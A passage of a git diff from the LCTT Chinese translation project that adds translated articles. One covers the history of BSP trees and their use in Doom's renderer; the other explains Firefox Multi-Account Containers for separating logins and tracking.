的故事,我印象特别深刻。这里只对故事做粗略描述(具体情节请往下阅读)。实际上,早在《毁灭战士》开发前期,卡马克就发现自己为这款游戏编写的 3D 渲染器在渲染某些关卡时慢得像爬一样。对于《毁灭战士》这一对动感和速度有着相当高要求的射击游戏来说,这是一个非常严重的问题。意识到了这一问题的严重性,卡马克需要一个更加有效的渲染算法,于是他开始阅读相关论文。最后,他实现了一种叫做“二叉空间分割binary space partitioning(BSP)”的技术,极大地提升了《毁灭战士》游戏引擎的运行速度,而这项技术此前从未用于电子游戏当中。 + +一直以来,我对这个故事的印象十分深刻。卡马克将学术前沿研究运用于电子游戏之中,我觉得这正是他之所以成为传奇人物的原因。无论从哪个角度来看,卡马克都应该是电子游戏行业中人尽皆知的典型的天才程序员,只不过上面这个故事是我最先能够想到的理由。 + +显而易见,“二叉空间分割”这个术语听起来就是难度相当高的课题,能够自行阅读论文并将其付诸实施实属不易,所以这个故事给我留下了深刻的印象。我一直认为卡马克的做法十分具有创见性,不过由于我既不懂二叉空间分割到底是怎样的一项技术,也不晓得这项技术在当时究竟有多么革新,所以我也并不确定自己的观点是否正确。如果按照从 霍默·辛普森Homer Simpson(LCTT 译注:《辛普森一家人》中的那个老爹)到 阿尔伯特·爱因斯坦Albert Einstein 的顺序为天才列出一套级别体系,那么卡马克将二叉空间分割技术运用于《毁灭战士》的做法究竟属于什么级别的天才之举呢? + +同时,我也在想,二叉空间分割这个概念最初是从哪儿来的,又是怎样吸引到卡马克的?因此,本篇文章不仅仅会讲述约翰·卡马克和《毁灭战士》的故事,也会探讨二叉空间分割树(BSP 树)数据结构的发展历史。有意思的是,BSP 树和计算机科学领域其他许多技术一样,最初都起源于军事研究领域。 + +没错,《毁灭战士》的第一关卡 E1M1 就受到了美国空军的启发。 + +### VSD 难题 + +BSP 树是计算机图形领域最具挑战性难题的解决方案之一。举个例子,为了渲染出三维场景,渲染器必须能够区分在一个特定角度下的可见物体和不可见物体。如果渲染时间比较充足,这一要求也算不上大问题;但是就理想情况来说,实时游戏引擎在 1 秒内至少需要完成 30 次区分任务。 + +这一问题有时被称为 可见面检测visible surface determination(VSD)问题。后来与卡马克合作开发《雷神之锤Quake》(id Software 继《毁灭战士》之后开发的游戏)的程序员 迈克尔·亚伯拉什Michael Abrash,在自己的著作《图形程序开发人员指南Graphics Programming Black Book》 中写道: + +> 我想探讨一下在我看来 3D 中最棘手的一个问题:可见面检测问题(在每个像素点上绘制合适的表面)以及与之密切相关的隐面消除问题(迅速去除不可见的多边形,用于加快可见表面检测速度)。简略起见,我将在下文采用缩写 VSD 来表示可见面检测和隐面消除。 +> +> 为什么我会认为 VSD 是 3D 中最棘手的问题呢?尽管纹理映射等光栅化问题更让人感兴趣而且也更重要,但是相对而言,它们是范围相对有限的任务。随着 3D 加速器的出现,它们逐渐被转移到硬件中。同时,它们只随着屏幕分辨率的增加而增加,而分辨率的增加是相对温和的。 +> +> 相反,VSD 却像是一个无底洞,目前应对方案也有很多。但实际上,在采用简单的方法处理 VSD 时,其性能会直接受到场景复杂程度的影响,而场景的复杂程度通常会以平方级或立方级的形式增大。所以在渲染过程中,VSD 很快就会成为制约因素。[^1] + +亚伯拉什是在上个世纪九十年代末写的关于 VSD 问题的这些困难,这是在《毁灭战士》之后数年,这款游戏证明了普通人盼望着能用自家电脑玩很吃图形配置的游戏。九十年代早期,id Software 成立后发行了一些游戏。尽管当时的计算机还只是用来处理文字与表格或者执行其他任务,未尝想过要在上面运行游戏,id Software 必须对发行的游戏进行编程,使其能在计算机上流畅运行。为了实现这一飞跃,尤其是为了能让在《毁灭战士》之前 id Software 发行的少数 3D 游戏在电脑上运行,id Software 必须做出革新。在这些游戏中,所有的关卡在设计时都受到了一定限制,以便更容易解决 VSD 问题。 + +例如,在《毁灭战士》之前,id Software 发行了《德军总部 3D 版Wolfenstein 3D 版》,该游戏的每一个关卡都是由与坐标轴平齐的墙壁组成。换言之,在《德军总部 3D 版》的游戏画面里,你看到的只有南北方向或者东西方向的墙壁。在游戏中,墙壁与墙壁之间有着固定的间隔,所有过道的宽度或是一个方格,或是两个方格等等,但绝不会出现 2.5 个方格。如此一来,尽管 id Software 团队只能设计出外观十分相似的关卡,但这也让卡马克为 《德军总部 3D 版》 编写渲染器的工作简单了不少。 + +通过将屏幕上的光线“齐射”入虚拟游戏世界,《德军总部 3D 版》的渲染器解决了 VSD 问题。通常来说,使用光线的渲染器叫做“光线投射”渲染器。这种渲染器的速度一般较慢,因为解决内部的 VSD 问题涉及到在光线和游戏中的物体之间找到第一个交点,这通常需要进行大量的计算。但在 《德军总部 3D 版》,由于所有的墙壁都与网格平齐,所以光线与墙壁相交的位置只能在网格线上。如此一来,渲染器只需逐个检查这些交点即可。如果渲染器先从离玩家视角最近的交点开始检查,接着检查下一个最近的交点,以此类推,最后遇到第一面墙壁时停止检查。这样,VSD 问题便轻而易举地得到了解决。光线从每一个像素点向前投射,与画面物体接触时停止,这一方法是可行的。因为从 CPU 资源来看,投射的成本很低。事实上,由于每面墙壁高度相同,因此针对同列的像素点,投射的光线只需一条。 + +尽管当时还没有专业的图形显卡,《德军总部 3D 版》凭借这一取巧之法得以在配置较低的个人电脑上正常运行起来。然而,这个办法并不适用于《毁灭战士》。因为 id Software 为这款新游戏增添了许多新元素 —— 倾斜的墙面、楼梯以及高低不一的天花板。光线投射的办法自然也就不好用了,于是卡马克编写出了一个新的渲染器。《德军总部 3D 版》的渲染器关注的是图像,将光线投射到屏幕像素表示的列上,而 《毁灭战士》 关注的则是物体。换句话说,《毁灭战士》 的渲染器会记录游戏场景中的所有物体,继而将其投射到屏幕当中;而非记录屏幕上的像素点,判断每个像素点的颜色。 + +对于强调物体的渲染器来说,可以使用 Z 缓冲区来解决 VSD 问题,比较简单。每次将物体投射到屏幕上时,需要对每个用于绘制的像素点进行检查。如果你想绘制出的物体的部分和已经绘制在目标像素点上的物体相比更加靠近玩家,可以将其覆盖。否则,必须保持像素不变。尽管办法很简单,但是 Z 缓冲区对内存的要求较高,而且渲染器可能仍然要花费大量的 CPU 资源来投射玩家永远不会看到的水平几何体。 + +在 20 世纪 90 年代,使用 Z 缓冲区的方法还存在着其他缺陷:IBM 兼容机(PC)搭载的是一种叫 VGA 的显示适配器系统,在这类电脑上,将图像写入帧缓冲区的成本非常之高。因此,在只会以后被覆盖的像素上绘制花费的时间拖慢了渲染器的性能。 + +考虑到将图像写入帧缓冲区的成本非常之高,理想的渲染器需要首先绘制离玩家最近的物体,接着是比较近的物体,以此类推,直到屏幕上每个像素点都写入了信息。这时,渲染器会停止运行,大幅缩短远处不可见物体的渲染时间。这种由近及远对物体进行排序的方法也可以解决 VSD 问题。那么问题又来了:什么才是玩家可以看到的? + +最初,卡马克打算依靠《毁灭战士》的关卡布局来解决 VSD 问题。首先用渲染器绘制出玩家目前所在房间的墙壁,之后玩家冲进隔壁房间,再绘制出隔壁房间的墙壁。由于每个房间互不遮挡,这一办法也能解决 VSD 问题。而互相遮挡的房间可以分割成若干互不遮挡的“区域”。在 YouTube 上的一个 [视频][2] 中,Bisqwit 展示了自己制作出来的使用了相同算法的渲染器。可以看到,如果以超慢的速度运行,便能一睹渲染的具体过程。这一算法同样运用到了《毁灭公爵 3D 版》当中,这款游戏在 《毁灭战士》 推出三年之后发行,当时 CPU 的性能也更加强大了。1993 年,尽管在硬件上已经可以运行游戏了,但是使用这一算法的《毁灭战士》渲染器在复杂的层级结构上依旧表现吃力,尤其是在房间分割出来的各部分相互嵌套的情况下。不巧的是,这类层级结构正是构造环形楼梯等物体的唯一办法。沿着环形楼梯走下去,直到走入已经绘制好的区域,由于这其中涉及多次循环下降运动,导致游戏引擎的运行速度大幅降低。 + +在 id Software 团队意识到《毁灭战士》游戏引擎的速度可能过慢时,公司还面临着其他任务:将《德军总部 3D 版》移植到超级任天堂游戏机(简称“超任”)上。那时,超任的性能比 IBM 兼容机还要差。结果表明,尽管光线投射渲染器非常简单,但是想要在超任上快速运行是不可能的。于是,卡马克着手研究更为高效的算法。事实上,也正是为了顺利将《德军总部》移植到超任,卡马克首次研究了二叉空间分割技术,并将其付诸应用。由于《德军总部 3D 版》的墙壁与坐标轴平齐,所以二叉空间分割技术应用起来也比较简单直接;但是《毁灭战士》的情况则比较复杂。不过,卡马克发现,二叉空间分割树同样可以用来解决《毁灭战士》速度过慢的问题。 + +### 二叉空间分割 + +二叉空间分割binary space partitioning(BSP)会提前将 3D 场景分割为若干部分,使 VSD 问题易于解决。讲到这里,你需要先了解一下为什么分割场景可以奏效:如果你在场景上画条线(对应三维空间里的一个平面),你就可以指出玩家或者摄像机视角在这条线的哪一侧,在这条线另一侧的物体无法遮挡玩家所在一侧的物体。如果多次重复这一操作,该三维场景最终会被分割为多个区域,这并不是对原始场景的改进,只是现在你知道了更多关于场景的不同部分会如何相互阻挡。 + +首次阐述上述三维场景分割的是美国空军的研究员,他们曾尝试向美国空军证明计算机图形已经非常先进,可以应用到飞行模拟器领域。1969 年,他们将研究发现发表在一份题为《计算机生成图像在图形仿真中的应用研究》的报告中。该报告的总结部分指出,计算机图形可用于训练飞行员,但也警告说,其实际应用可能会受制于 VSD 问题: + +> 实时图像处理需要解决的一个关键问题就是优先级问题,或称隐藏线问题。在我们平时用眼睛观察外界时,大自然替我们轻易地解决了这一问题:不透明物体上的一个点,掩盖了同一视觉方向上、且距离较远的所有其它物体。但在计算机中,这项任务却非常困难。图像处理需要解决的优先级问题,随着环境复杂程度的增加,计算量会呈指数级增长,随即就会超过绘制物体透视图所需的计算负载。[^2] + +他们在报告中提出了一项基于构造“遮挡矩阵”的方案,这一方案据说早些时候曾被应用于 NASA 的项目当中。研究员指出,平面将场景一分为二,可用来解决平面两侧物体之间存在的“任何优先级问题”。通常情况下,可能需要明确将这些平面添加到场景中,但对某些几何体,只需借助你已经拥有的几何体的表面即可。他们举了一个例子,如下图:p~1~、p~2~ 以及 p~3~ 是三个不同的平面,如果摄像机视角位于其中一个平面的前方,即“正”面,p~i~ 的值就等于 1。这种矩阵展示出基于三个不同平面和摄像机视角位置的三个物体之间的关系 —— 如果物体 a~i~ 遮挡了物体 a~j~,那么 a~ij~ 在此矩阵中的数值等于 1。 + +![][4] + +研究人员指出,这种矩阵可以应用到硬件中,对每一帧进行重新评估。该矩阵基本上可以用作大型的开关,或者一种预置的 Z 缓冲区。在绘制给定的物体时,如果在物体所在列上得出数值 1,并且所在行已经在绘制中,那么物体被遮挡的部分就不会绘制出来。 + +不过,该矩阵方法的主要缺点在于,为了在场景中表示出 n 个物体,你需要一个尺寸为 n^2^ 的矩阵。于是,研究人员们继续深入,探究将遮挡矩阵表示为“优先级列表”的可行性,该列表的尺寸是 n,可确定物体绘制的顺序。他们随即发现,诸如上图此类场景根本无法确定顺序(因为它存在循环阻塞的现象)。因此,他们花了很多时间来阐明“合适”与“不合适”场景之间的数学区别。最后,他们得出了一个结论:至少对于“合适的”场景下,优先级列表是可以制作出来的;而对场景设计师来说,避免设计出“不合适”的场景也不是一件难事。但是,他们并没有说明如何生成该列表。可以说,这份 1969 年的研究的首要贡献在于提出了:至少,在 _理论上_,可以采用平面分割的方法,对场景中的物体进行渲染排序。 + +直到 1980 年,一份题为《基于优先级树结构的可见表面生成》的论文提出了解决该问题的具体算法。在这份论文中,作者 亨利·福克斯Henry Fuchs泽维·凯德姆Zvi Kedem 以及 布鲁斯·内勒Bruce Naylor 介绍了 BSP 树。他们指出,这种新的数据结构“可以替代十年前首次使用,但由于一些问题未得到广泛发展的方案”(即前文 1969 年美国空军相关研究中的方案)。[^3] BSP 树一经生成,即可用于确定场景中物体的优先级顺序。 + +三人在论文中对 BSP 树的工作原理给出了相当可读的解释。但在本文,我将尝试使用更加通俗的语言,介绍给大家。 + +首先,在场景中选定一个多边形,将该多边形所在的平面作为分割平面。同时,该多边形充当树的根节点。场景中剩下的多边形会分散在分割平面的两侧。位于分割表面“前方”或者与分割平面相交后位于“前”半部分的多边形落在了根节点左侧的左子树上;位于分割表面“后方”或者与分割平面相交后位于“后”半部分的多边形落在了右子树上。接着,递归重复这一过程:在左子树和右子树上各选定一个多边形,作为各自空间新的分割平面,继而二分出来更多的子空间和子树。等到全部的多边形均选定之后,二叉空间分割也就结束了。 + +假设你想由后向前将场景中的几何图形进行渲染。(这就是所谓的“画家算法painter's algorithm”。因为在绘制时,距离摄像机较远的多边形会被距离摄像机较近的多边形所覆盖,借此正确进行渲染任务。)如果想要实现这一算法,必须按顺序遍历 BSP 树,左右子树的渲染顺序由摄像机视角与节点所在分割平面的位置关系决定的。因此,针对树上的每个节点,首先渲染距离分割平面较“远”一侧的所有多边形,接着是位于平面上的多边形,最后是距离平面较“近”一侧的所有多边形 —— “远”与“近”相对于摄像机视角而言。根据前文,距离分割平面较远一侧的多边形无法遮挡近侧的物体,所以这种方法可以解决 VSD 问题。 + +下图表示一个简单的二维场景的 BSP 树的构造与遍历过程。在二维中,分割平面变成了分割线,但就基本原理而言,与复杂的三维场景并无二致。 + +![][6] + +第一步:根分割线落在 D 墙上,将剩下的几何图形分为两组。 + +![][7] + +第二步:继续分割位于 D 墙两侧的空间。C 墙是其中一侧的唯一一堵墙壁,因此无需再分。另一侧,B 墙形成新的分割平面。因为 A 墙与新的分割平面相交,所以必须将其分割为两堵墙。 + +![][8] + +第三步:参照右上方视角,由后向前对墙壁进行排序,对执行画家算法很有帮助。这就是树的顺序遍历过程。 + +福克斯、凯德姆以及内勒多次强调了 BSP 树的优势:它只需构建一次。可能有些难以置信,但实际上无论摄像机视角位于何处,同一棵 BSP 树都可以用来渲染一个场景。只要场景中的多边形没有移动,BSP 树就不会失效。因此,BSP 树在实时渲染任务中非常实用 —— 构建树时的所有艰巨任务都可以在渲染工作开展之前完成。 + +同时,三人也提到了一项需要进一步深入研究的问题:究竟怎样才能构建出一棵 “高质量的” BSP 树?BSP 树的质量取决于用作分割平面的多边形的选择。我在前文跳过了这一问题,不过如果用作分割平面的多边形与其他多边形相交,那么为了让 BSP 算法发挥作用,必须将相交的多边形一分为二,这样两部分就可以分在不同的空间。但是如果这种现象反复出现,BSP 树的构建势必会大幅增加场景中多边形的数量。 + +内勒后来在其 1993 年的论文《构建高质量的分割树》中提及这一问题。卡马克的同事,id Software 的共同创始人 约翰·罗梅洛John Romero 指出,这篇论文是卡马克在《毁灭战士》中引入 BSP 树时读到的论文之一。[^4] + +### 《毁灭战士》中的 BSP 树 + +别忘了,卡马克首次为《毁灭战士》设计渲染器时,通过让渲染器渲染玩家所在房间之外的临近房间,试图为关卡几何图形建立一套渲染顺序。对此,BSP 树是个不错的选择,因为在玩家进入之前的房间(区域)时,BSP 树能够避免让渲染器重复劳动,从而节省 CPU 资源。 + +实际上,“将 BSP 树引入《毁灭战士》”意味着将 BSP 树生成器引入《毁灭战士》的关卡编辑器中。当完成一个《毁灭战士》的关卡的制作时,BSP 树就会在关卡几何图形的基础上生成。根据程序员 法比安·桑格勒德Fabien Sanglard 的说法,在原版《毁灭战士》中,一个关卡的 BSP 树生成时间需要 8 秒,全部关卡合计共需 11 分钟 [^5]。之所以生成时间较长,部分原因在于卡马克所用的 BSP 生成算法,该算法尝试使用各种启发式方法找出 “高质量” BSP 树。在运行时,8 秒的延时可能让人无法接受;但是离线等 8 秒,时间并不算长,尤其是考虑到 BSP 树提升了渲染器的性能。为每个关卡生成的 BSP 树将在游戏启动时作为关卡数据载入。 + +卡马克对 1980 年论文中提出的 BSP 树算法进行了改造,因为在《毁灭战士》开始运行时,当前关卡的 BSP 树就会读取到内存中,渲染器通过 BSP 树由前向后绘制物体,而非由后向前进行绘制。福克斯三人在那篇论文中演示了 BSP 树可用于执行由后向前的画家算法,但是画家算法会造成许多重复的绘制任务,对于 IBM 兼容机来说负担较大。因此,《毁灭战士》的渲染器换了个方向,首先绘制距离玩家较近的图形,之后再绘制离玩家较远的。这种反向排序很容易通过 BSP 树来实现,因为你可以在树的每个节点都进行反向遍历。为了避免绘制出来的远处图形遮挡到近处的图形,《毁灭战士》的渲染器使用了一种隐式 Z 缓冲区,这种缓冲区不仅具备普通 Z 缓冲区的优势,而且对内存的要求也较低。这种 Z 缓冲区有两组数组,一组记录水平方向的遮挡关系,另两组记录自屏幕顶部和底部的垂直方向的遮挡关系。《毁灭战士》的渲染器就算不使用实际的 Z 缓冲区也无伤大雅,因为从技术上来看它并不是真正的 3D 游戏。BSP 树数据结构的成本虽然不高,但却能够起作用,其原因在于《毁灭战士》不会发生以下问题:水平方向的遮挡数组能够发挥作用,是因为该游戏中没有倾斜的墙体;垂直方向的遮挡数组能够发挥作用,是因为该游戏不存在有着一上一下两扇窗户的墙体。 + +剩下比较棘手的问题是如何将《毁灭战士》中处于运动中的角色融入到借助 BSP 树绘制的静止的关卡几何图形中。该游戏中的敌人不可能纳入 BSP 树之中,因为他们会移动,而 BSP 树只对静止的几何形状起作用。所以渲染器首先绘制静止的关卡几何图形,同时与另一个内存使用效率较高的数据结构协作,记录屏幕上分割出来用于绘制的区域。之后,渲染器按照由后往前的顺序绘制敌人,并消除被屏幕上的区域遮挡住的敌人。这一过程与使用 BSP 树进行渲染相比,效果稍差一些。但是由于关卡中能看到的敌人的数量少于几何图形的数量,所以速度并不是一个严重的问题。 + +将 BSP 树应用到《毁灭战士》中可谓一大成功。卡马克能够想到 BSP 树是解决 VSD 问题的最佳方案,无疑非常高明。但是这可以称得上是天才之举吗? + +桑格勒德在其关于《毁灭战士》游戏引擎的书中引用了罗梅洛的话:内勒的论文《构建高质量的分割树》主要讲述使用 BSP 树消除 3D 模型的背面。[^6] 根据罗梅洛所言,卡马克认为这种算法对《毁灭战士》依然有效,所以他放手一试,将 BSP 技术应用到了该游戏中。不过这话说得有些奉承的意味 —— 意在暗示卡马克在别人仍然使用 BSP 树渲染静止的场景时,发现该技术可以用于实时游戏领域。在《Doom 启示录》中也有给卡马克戴高帽的故事。该书作者库什纳认为,卡马克在阅读内勒的论文之后,问了自己,“如果使用 BSP 技术创造一整个虚拟世界,而不仅仅是一张 3D 图像,会怎么样呢?” [^7]。 + +这些“片面之词”忽视了 BSP 树的发展历史。当美国空军研究人员开始意识到场景分割可能会加快渲染任务的时候,他们就对提升 _实时_ 渲染的速度产生了兴趣,毕竟他们当时试图创建一个飞行模拟器。1980 年,同样的案例再次出现在了福克斯等人的论文中,他们探讨了 BSP 树如何应用于飞行模拟器中,帮助飞行员进行训练:飞行员用它来反复练习将飞机降至同一空港。由于空港的地形不会发生改变,BSP 树只需生成一次,即可一劳永逸。很明显,他们考虑的是实时模拟。在论文的引言部分,福克斯等人还谈到实时图形系统必须在至少 1/30 秒内生成一张图像,由此激励了他们的研究。 + +因此,卡马克不是第一个想到在实时图形模拟中应用 BSP 树的人。诚然,设想与付诸实践是两码事。但是即使在实施的过程中,卡马克受到的帮助与指导可比人们想象的要多得多。至少是到这篇文章写成之时,BSP 树的 [维基百科词条][13] 页面显示,卡马克参考了 1991 年 Chen戈登Gordon 的一篇论文,以及 1990 年的一本教材《计算机图形学:原理及实践》。尽管该页面并未提供引用信息,但可信度没什么问题。陈和戈登的论文介绍了运用 BSP 树由前向后的渲染方法,这种方法与《毁灭战士》中用到的方法基本一致,还包括了我称之为“隐式 Z 缓冲区”的数据结构,可用于防止远处的图形在绘制时遮挡近处的图形。《计算机图形学:原理及实践》详细介绍了 BSP 树,以及一些构建并展示 BSP 树的伪代码(非常感谢我大学的图书馆,让我能够一睹这本教材 1990 年的版本)。因为这本书是计算机图形学的经典之作,所以卡马克很可能也有一本。 + +然而,卡马克发现自己遇到一个新问题:如何让第一人称射击游戏在一台 CPU 甚至都无法进行浮点操作的电脑上运行呢?通过调查研究,他证明了 BSP 树的数据结构非常适用于实时电子游戏渲染。尽管 BSP 树早已提出,而且到了卡马克的时代,相关理论已经非常成熟了,但我始终认为,卡马克的做法可谓惊人之壮举。也许,得到人们称誉的应该是整个《毁灭战士》的游戏引擎,它的确非常精致。我在前文也提及过,但是桑格勒德的《游戏引擎黑皮书:毁灭战士Game Engine Black Book: DOOM》 很好地讲解了这款游戏引擎的非凡之处,以及这些优势相互契合之法。要明白,VSD 问题只是卡马克在编写《毁灭战士》游戏引擎时需要解决的诸多问题之一。不得不说,面对不为大多数程序员所知的复杂的数据结构,卡马克能够查阅相关文献,将其付诸实践,仅此一点就足以说明其技术之精湛、匠心之独到。 + +_如果你喜欢这篇文章,欢迎关注推特 [@TwoBitHistory][14],也可通过 [RSS feed][15] 订阅,获取最新文章(每四周更新一篇)。_ + +[^1]: Michael Abrash, “Michael Abrash’s Graphics Programming Black Book,” James Gregory, accessed November 6, 2019, .  +[^2]: R. Schumacher, B. Brand, M. Gilliland, W. Sharp, “Study for Applying Computer-Generated Images to Visual Simulation,” Air Force Human Resources Laboratory, December 1969, accessed on November 6, 2019, .  +[^3]: Henry Fuchs, Zvi Kedem, Bruce Naylor, “On Visible Surface Generation By A Priori Tree Structures,” ACM SIGGRAPH Computer Graphics, July 1980.  +[^4]: Fabien Sanglard, Game Engine Black Book: DOOM (CreateSpace Independent Publishing Platform, 2018), 200.  +[^5]: Sanglard, 206.  +[^6]: Sanglard, 200.  +[^7]: David Kushner, Masters of Doom (Random House Trade Paperbacks, 2004), 142.  + +-------------------------------------------------------------------------------- + +via: https://twobithistory.org/2019/11/06/doom-bsp.html + +作者:[Two-Bit History][a] +选题:[lujun9972][b] +译者:[aREversez](https://github.com/aREversez) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twobithistory.org +[b]: https://github.com/lujun9972 +[1]: tmp.eMwywbWYsp#fn:1 +[2]: https://youtu.be/HQYsFshbkYw?t=822 +[3]: tmp.eMwywbWYsp#fn:2 +[4]: https://twobithistory.org/images/matrix_figure.png +[5]: tmp.eMwywbWYsp#fn:3 +[6]: https://twobithistory.org/images/bsp.svg +[7]: https://twobithistory.org/images/bsp1.svg +[8]: https://twobithistory.org/images/bsp2.svg +[9]: tmp.eMwywbWYsp#fn:4 +[10]: tmp.eMwywbWYsp#fn:5 +[11]: tmp.eMwywbWYsp#fn:6 +[12]: tmp.eMwywbWYsp#fn:7 +[13]: https://en.wikipedia.org/wiki/Binary_space_partitioning +[14]: https://twitter.com/TwoBitHistory +[15]: https://twobithistory.org/feed.xml +[16]: https://twitter.com/TwoBitHistory/status/1164631020353859585?ref_src=twsrc%5Etfw +[17]: tmp.eMwywbWYsp#fnref:1 +[18]: tmp.eMwywbWYsp#fnref:2 +[19]: tmp.eMwywbWYsp#fnref:3 +[20]: tmp.eMwywbWYsp#fnref:4 +[21]: tmp.eMwywbWYsp#fnref:5 +[22]: tmp.eMwywbWYsp#fnref:6 +[23]: tmp.eMwywbWYsp#fnref:7 diff --git a/published/202208/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md b/published/202208/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md new file mode 100644 index 0000000000..b3529800f5 --- /dev/null +++ b/published/202208/20210809 What is Firefox Multi-Account Containers- Why and How to Use It.md @@ -0,0 +1,127 @@ +[#]: subject: "What is Firefox Multi-Account Containers? Why and How to Use It?" +[#]: via: "https://itsfoss.com/firefox-containers/" +[#]: author: "Hunter Wittenborn https://itsfoss.com/author/hunter/" +[#]: collector: "lujun9972" +[#]: translator: "hanszhao80" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14911-1.html" + +浅议 Firefox 多账户容器 +====== + +随着在设备上使用各种程序的用户的需求变得越来越复杂,程序本身也需要跟上用户的现实需求和未来期望。 + +我发现我每天需要的东西是一个在网页浏览器保持登录多个账号的简单方法。我 _可以_ 根据需要对我的每个账号进行登录和注销操作,但在短时间内切换多个账号时,这变得非常乏味。 + +最初,我使用谷歌浏览器,它拥有管理多个帐户的能力。这很有效,但管理起来略显繁琐,而且明明只需 _一个_ 谷歌账号就能搞定的事却要创建一个新的谷歌账号来完成,这显得有点儿笨拙。 + +这是我转而使用 Firefox 多账户容器Multi-Account Containers 功能的原因。它不仅比我在谷歌 Chrome 浏览器上的设置灵活得多,而且我还使用了由我的浏览器开发者自己创建的工具,从而在整体上获得了更流畅和更简单的体验。 + +![Firefox 中的容器图示][1] + +### Firefox 中的多帐户容器是什么? + +如果你想将数字生活的各个部分彼此分开,多账户容器也非常有效。通过使用容器,你在一个容器中的浏览活动不会与其他容器共享。这种隔离意味着你可以在不同容器中登录同一网站上的两个不同帐户。你的登录会话、网站偏好和跟踪数据将被限制在你使用某个网站的容器中。 + +它还有什么其他优势?想象一下,你在亚马逊或其他电子商务网站上购物。你浏览了一些商品,但没有购买任何东西。现在,如果你浏览网络,你会看到与你浏览的产品相关的广告。尽管有广告拦截器,一些网站仍会显示广告。使用容器,你可以将你的购物网站与其他网站分开。(LCTT 校注:甚至根据你的浏览历史,你再次访问同一网站时看到的价格可能会被“宰熟”——反复浏览代表了你的购买倾向。) + +再给大家分享一个例子。Firefox 默认提供一个 Facebook 容器。默认情况下,此容器包括 Facebook、Messenger 和 Instagram 网站。这意味着当你打开这三个网站中的任何一个时,它们都只会在“Facebook 容器”中打开。因此,Facebook 将无法跟踪你在其他网站上的活动。 + +这是 [很少有人知道或使用的 Firefox 功能][2] 之一。 + +### 使用多账户容器 + +安装 Firefox 多账户容器是一个非常简单的过程,只需点击几下。 + +首先,前往 Firefox 附加组件网站上的 [扩展程序页面][3]。之后你唯一需要做的就是单击 “添加到 Firefox” 按钮。 + +![][4] + +安装完成!现在我们可以实际使用一下这个新的扩展。 + +可能你还没有注意到,你的搜索栏右侧应该会出现一个新图标: + +![][5] + +这是你将用于与 Firefox 多帐户容器交互的图标。如果你单击该图标,你将看到一个小菜单: + +![][6] + +让我们使用这个扩展尝试一些例子,看看多账户容器是如何工作的。 + +#### 设置容器 + +首先,我们需要生成一个容器。点击多账户容器菜单中的 `管理容器Manage Containers,然后点击 新建容器New Container。 + +![][7] + +![][8] + +接着输入新容器的名称,选择颜色和图标。然后,点击 “OK” 保存新容器。 + +![][9] + +大功告成!我们现在可以返回主菜单在新容器中打开一个新选项卡: + +![][10] + +你还会注意到新选项卡有一些样式,表示它正在容器内运行: + +![][11] + +#### 观察容器工作 + +现在让我们看看容器在使用时实际做了什么。 + +我们将在一个普通的浏览器选项卡中访问 Linode 管理网站,我已经在其中登录: + +![][12] + +现在让我们尝试在 Firefox 容器中打开相同的页面,此时我被重定向到 Linode 登录页面: + +![][13] + +为什么我被重定向了?因为现在我没有登录。这就是 Firefox 容器的乐趣之一:在一个浏览器会话中登录后,再进入一个容器,就好像你以前从未访问过该站点一样。 + +如果你在容器内完成对某个网站的登录,你从容器中访问该网站时将会保持登录状态。你还可以使用此功能从容器内登录网站,从而使该网站的所有数据与你的正常浏览器数据相隔开。 + +> 注意:你的浏览器历史记录本身之类的内容仍会暴露给你的正常浏览器会话。容器功能只是提供了一种方法来分离本文中提到的登录帐户等内容。 + +### 总结 + +对于那些在乎自己的隐私,或者只是想真正尝试对其系统的安全性进行严格控制的人来说,多账户容器被证明是一个很棒的功能。 + +例如,你可以在容器内登录你的谷歌帐户,谷歌永远不会知悉你在容器外的信息。 +对拥有多个帐户的人来说,此扩展程序是一个不错的选择。有了它无需为你要使用的每样东西创建单独的浏览器帐户。 + +好了,这就是 Firefox 的多帐户容器的基本知识。 + +需要任何帮助,或者只是有点问题?请随时在评论区指出。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/firefox-containers/ + +作者:[Hunter Wittenborn][a] +选题:[lujun9972][b] +译者:[hanszhao80](https://github.com/hanszhao80) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/hunter/ +[b]: https://github.com/lujun9972 +[1]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/Firefox-container.png?resize=800%2C450&ssl=1 +[2]: https://itsfoss.com/firefox-useful-features/ +[3]: https://addons.mozilla.org/en-US/firefox/addon/multi-account-containers/?utm_source=addons.mozilla.org&utm_medium=referral&utm_content=search +[4]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-install-page.png?resize=800%2C366&ssl=1 +[5]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-searchbar-icon-1.png?resize=800%2C48&ssl=1 +[6]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-main-menu.png?resize=302%2C474&ssl=1 +[7]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-manage-containers-1.png?resize=291%2C402&ssl=1 +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container.png?resize=290%2C399&ssl=1 +[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container-itsfoss.png?resize=292%2C401&ssl=1 +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-opening-new-container.png?resize=290%2C398&ssl=1 +[11]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-new-container-styling.png?resize=800%2C370&ssl=1 +[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-linode.png?resize=800%2C114&ssl=1 +[13]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/08/firefox-containers-linode-login.png?resize=800%2C405&ssl=1 diff --git a/published/202208/20210823 Write a chess game using bit-fields and masks.md b/published/202208/20210823 Write a chess game using bit-fields and masks.md new file mode 100644 index 0000000000..db02788dab --- /dev/null +++ b/published/202208/20210823 Write a chess game using bit-fields and masks.md @@ -0,0 +1,152 @@ 